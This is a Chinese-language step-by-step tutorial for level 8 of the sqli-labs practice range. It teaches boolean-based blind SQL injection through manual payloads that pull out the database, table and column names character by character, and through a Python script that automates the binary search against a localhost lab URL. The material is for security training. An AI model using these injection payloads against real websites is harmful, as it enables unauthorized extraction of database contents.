sql靶场--布尔盲注(第八关)保姆级教程
目录
布尔盲注(第八关)
1.判断
2.确认布尔盲注
3.手工尝试布尔盲注
表名字符
表数
表名长度
表字符
字段数
字段名长度
字段字符
4.脚本布尔盲注注入
布尔盲注(第八关)
1.判断
布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入
2.确认布尔盲注
进行闭合测试
单引号测试
这里发现页面变换,但是没有报错
单引号闭合测试
发现这里闭合方式就是单引号
确认是否真的没有报错
使用order by 排列
发现页面变换,但是没有报错了,只有这两种页面,基本就是布尔盲注了
3.手工尝试布尔盲注
手动进行布尔盲注十分麻烦,首先先要注入出名字的长度
?id=1' and (select length(database())>3) --+
?id=1' and (select length(database())>8) --+
?id=1' and (select length(database())>5) --+
?id=1' and (select length(database())>6) --+
然后一个一个注入出名字的字符的ASCLL码然后对照表将名字完整的获取出来
十进制 | 十六进制 | 字符 | 说明 | |
---|---|---|---|---|
32 | 0x20 | 空格 (Space) | ||
33-47 | 0x21-0x2F | ! " # ... / | 标点符号 | |
48-57 | 0x30-0x39 | 0 -9 | 阿拉伯数字 | |
58-64 | 0x3A-0x40 | : ; < ... @ | 特殊符号 | |
65-90 | 0x41-0x5A | A -Z | 大写英文字母 | |
91-96 | 0x5B-0x60 | [ \ ] ... ``` | 特殊符号 | |
97-122 | 0x61-0x7A | a -z | 小写英文字母 | |
123-126 | 0x7B-0x7E | { | } ~ | 特殊符号 |
表名字符
一般名字命名的字符是在32-128之间,所以测试一般在里面测试
可以用二分法进行测试
?id=1' and ((select ascii(substr(database(),1,1)))>80) --+
?id=1' and ((select ascii(substr(database(),1,1)))>104) --+
?id=1' and ((select ascii(substr(database(),1,1)))>116) --+
?id=1' and ((select ascii(substr(database(),1,1)))>110) --+
?id=1' and ((select ascii(substr(database(),1,1)))>113) --+
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+
最后确定是ASCLL是115,对照ASCLL是字符s
剩下的也这样一个一个慢慢的注入出来
表数
注入出数据库名后再去注入表名与字段名
由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 3--+
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 5--+
表名长度
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 --+
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 --+
表字符
?id=1' and (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) --+
字段数
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 --+
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4 --+
字段名长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>6 --+
字段字符
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32) --+
所以这种方式十分费时费力,建议写python的脚本进行注入
4.脚本布尔盲注注入
import requests #用于发送HTTP请求
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
# 初始化空字符串,存储最终数据库名
for i in range(1, 100):
# 遍历字符位置(假设数据库名最长99字符)
low = 32
# ASCII可打印字符起始值(空格)
high = 128
# ASCII结束值(DEL字符,实际只用到127)
mid = (low + high) // 2
# 二分法初始中间值
while low < high:
# 二分查找当前字符的ASCII值
payload = " 1' and ascii( substr( (select database()),%d,1)) > %d-- " % (i, mid)
/**
" " 里面是构造的Payload
1' 闭合前面的单引号
ascii() 将字符转换为相应的ACSII值
substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表i
select( database()) 查询获取当前的数据库名
()>%d 第二个也就是这个%d是mid
and ('1')=('1 闭合
% (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚
*/
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
#if() 看页面里面有没有You are in...........来判断字符的ASCII值是否大于mid
low = mid + 1
# 当前字符ASCII值 > mid,调整下限
else:
high = mid
mid = (low + high) // 2
if mid == 32:
# 若mid为32(空格),终止循环
break
name = name + chr(mid)
# 将ASCII转为字符并拼接
print(name)
# 实时输出当前结果
inject_database(url)
# 执行注入函数